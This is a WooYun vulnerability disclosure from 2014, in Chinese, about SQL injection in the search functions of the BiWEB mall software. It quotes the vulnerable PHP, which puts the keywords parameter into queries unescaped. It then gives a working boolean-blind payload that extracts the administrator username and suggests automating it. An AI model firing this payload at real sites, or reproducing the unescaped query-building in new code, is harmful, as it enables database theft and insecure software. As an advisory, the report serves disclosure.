当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-082835

漏洞标题:BiWEB最新商城版搜索型注入多枚

相关厂商:BiWEB

漏洞作者: 路人甲

提交时间:2014-11-13 15:29

修复时间:2015-02-11 15:30

公开时间:2015-02-11 15:30

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-13: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-02-11: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

BiWEB最新商城版搜索型注入多枚

详细说明:

在wooyun上看到了有人提了BiWEB的一个XSS漏洞: WooYun: BIWEB商城版XSS盲打cookie ,也有人提了SQL注入,我也来找找它的漏洞吧。去官网下BiWEB商城版最新的5.8.4来看看。发现BiWEB有多处搜索,都存在注入漏洞。
看看搜索处是怎么处理的。BiWEB首先对GET和POST进行了过滤,/config/filtrate.inc.php

<?php
//过滤GET或POST的值,去除两端空格和转义符号
if ($_SERVER['REQUEST_METHOD'] == 'POST'){
check::filtrateData($_POST,$arrGPdoDB['htmlspecialchars']);
}elseif($_SERVER['REQUEST_METHOD'] == 'GET'){
check::filtrateData($_GET,$arrGPdoDB['htmlspecialchars']);
}
?>

这里就先不说这种过滤的脑残之处了。
继续往下看,BiWEB有所有搜索处都存在同样的注入问题。举一例来说。/search.php

无关代码
if(!empty($_REQUEST['keywords'])){
$strKeywords = strval(urldecode($_REQUEST['keywords']));
if($strKeywords[0] == '/'){
//精确查询ID
$strKeywords = substr($strKeywords,1);
if(is_numeric($strKeywords)) $arrWhere[] = "id = '" . $strKeywords . "'";
}else{
$arrKeywords = explode(' ', $strKeywords);
foreach($arrKeywords as $v){
$v = trim($v);
if(!empty($v)){
if (isset($_GET['radio'])){
$intTemp = intval($_GET['radio']);
switch($intTemp){
case 0:
$arrWhere[] = "brand LIKE '%$v%'";
$arrWhere[] = "model LIKE '%$v%'";
$arrWhere[] = "code LIKE '%$v%'";
$arrWhere[] = "title LIKE '%$v%'";
break;
case 1:
$arrWhere[] = "brand LIKE '%$v%'";
break;
case 2:
$arrWhere[] = "model LIKE '%$v%'";
break;
case 3:
$arrWhere[] = "code LIKE '%$v%'";
break;
case 4:
$arrWhere[] = "title LIKE '%$v%'";
break;
}
$arrLink[] = 'radio=' . $intTemp;
}else $arrWhere[] = "title LIKE '%$v%'";
}
}
}
$arrLink[] = 'keywords=' . urlencode($strKeywords);
}else check::AlertExit("错误:关键词必须填写!",-1);
$strWhere = '';
$strWhere = implode(' or ',$arrWhere);
$strWhere = 'where pass=1 and '.$strWhere;
$arrInfoList = $objWebInit->getInfoList($strWhere, ' ORDER BY submit_date DESC',($intPage-1)*$arrGPage['page_size'],$arrGPage['page_size'],true);
$intRows = $arrInfoList['COUNT_ROWS'];
unset($arrInfoList['COUNT_ROWS']);
无关代码

通过$_REQUEST来获得keywords
继续去看看getInfoList(),在/web_common5.8/php_common.php

function getInfoList($where='',$order='',$intStartID = 0,$intListNum = 0,$field = '*',$arrData = array(),$blCount = true,$blComplex = false){
$table = $this->tablename2;
$arrData=(empty($arrData)?array():$arrData);
$limit = '';
if($blComplex){
if($where != '') $where .= " and id <= ( SELECT id FROM `$table` $order LIMIT $intStartID, 1 )";
else $where = " where id <= ( SELECT id FROM `$table` $order LIMIT $intStartID, 1 )";
}
if (!empty($order)) {
$limit .= $order;
}
if (!empty($intListNum)) $limit .= " LIMIT " . $intStartID .','. $intListNum;
$blFetch = false;
if($field === true) {
unset($this->arrGPdoDB['db_table_field']['structon_tb']);
$field = implode(',',array_keys($this->arrGPdoDB['db_table_field']));
}
$arrData = $this->selectDataG($table,$where,$limit,$field,$blFetch,$arrData,$blCount);
if(isset($arrData[0]['structon_tb'])) $arrData = $this->loadTableFieldG($arrData);
return $arrData;
}

然后调用同一文件中的electDataG()

function selectDataG($table,$where = '',$limit = '',$field = '*',$blFetch = false,$arrData = array(),$blCount = false,$blComplex = false ){
try {
//$strSQL = "SELECT SQL_CALC_FOUND_ROWS $field from $table $where"; 效率低下,在MYSQL版本未改进之前弃用
$strSQL = "SELECT $field from $table $where $limit";
if($this->arrGPdoDB['PDO_CACHE']) {
$strCacheName = md5($strSQL);
$strCacheDir = '';
for($i=0;$i<32;$i+=2){
$strCacheDir .= '/'.$strCacheName[$i].$strCacheName[$i+1];
}
$strCacheName = $strCacheDir.'SQL_'.$table.'_'.$strCacheName;
$strCacheFile = $this->arrGPdoDB['PDO_CACHE_ROOT'].'/'.$strCacheName;
$objCache = new cache($strCacheFile,$this->arrGPdoDB['PDO_CACHE_LIFETIME']);
if($this->arrGPdoDB['PDO_CACHE']==1) {
if($objCache->cache_is_active()) {
include($strCacheFile);
if($arr['COUNT_ROWS'] != '' ) $_SESSION['COUNT_ROWS'] = $arr['COUNT_ROWS'];
else $arr['COUNT_ROWS'] = $_SESSION['COUNT_ROWS'];
return $arr;
}
}
}
if($this->arrGPdoDB['PDO_DEBUG']) echo $strSQL.'<br><br>';
$rs = $this->db->prepare($strSQL);
$rs->execute($arrData);
if($blFetch) $arr = $rs->fetch();
else $arr = $rs->fetchAll();
$rs = '';
if($blCount){
//$strSQL = "SELECT FOUND_ROWS()"; 配合SQL_CALC_FOUND_ROWS使用的
//$strSQL = "SELECT count(DISTINCT id) from $table $where";
if(!$blComplex){
$strSQL = "SELECT count(*) as num from $table $where";
if($this->arrGPdoDB['PDO_DEBUG']) echo $strSQL.'<br><br>';
$rs = $this->db->query($strSQL);
if(strpos($where,'GROUP') || strpos($where,'group')){
$arrTemp = $rs->fetchAll();
$arr['COUNT_ROWS'] = count($arrTemp);
}else{
$arrTemp = $rs->fetch();
$arr['COUNT_ROWS'] = $arrTemp['num'];
}
}
if($arr['COUNT_ROWS'] != '' ) $_SESSION['COUNT_ROWS'] = $arr['COUNT_ROWS'];
else $arr['COUNT_ROWS'] = $_SESSION['COUNT_ROWS'];
}
if($this->arrGPdoDB['PDO_CACHE']){
if(isset($objCache)&&is_object($objCache)) {
$somecontent = '<?php' . "\n" . '$arr = ' . var_export( $arr, true ) . ';' . "\n" . '?>';
$objCache->write_file($somecontent);
}
}
return $arr;
} catch (PDOException $e) {
echo $strSQL.'<br><br>';
echo 'Failed: ' . $e->getMessage().'<br><br>';
}
}

在整个过程中没有对keywords进行任何过滤,当然,那个脑残的全局过滤直接就可以无视了。所以造成了注入。
本次测试是基于bool-based blind做的测试,payload如下
Payload:

%%'/**/and/**/mid((select/**/user_name/**/from/**/biweb_user/**/limit/**/0,1),1,1)='a'/**/and/**/'%'='


当biweb_user中的第一个管理员的用户名的第一个字母是’a’时,返回如下图

猜测对情况副本.jpg


若不是’a’,则返回如下图

猜测不对情况副本.jpg


注入成功时,SQL的执行情况如下图

SQL执行情况副本.jpg


可以写个脚本跑,也可以使用burp的intruder来跑,根据返回内容的长度不同,就可以判断了。经测试,管理员用户名为admin。

漏洞证明:

见 详细说明

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝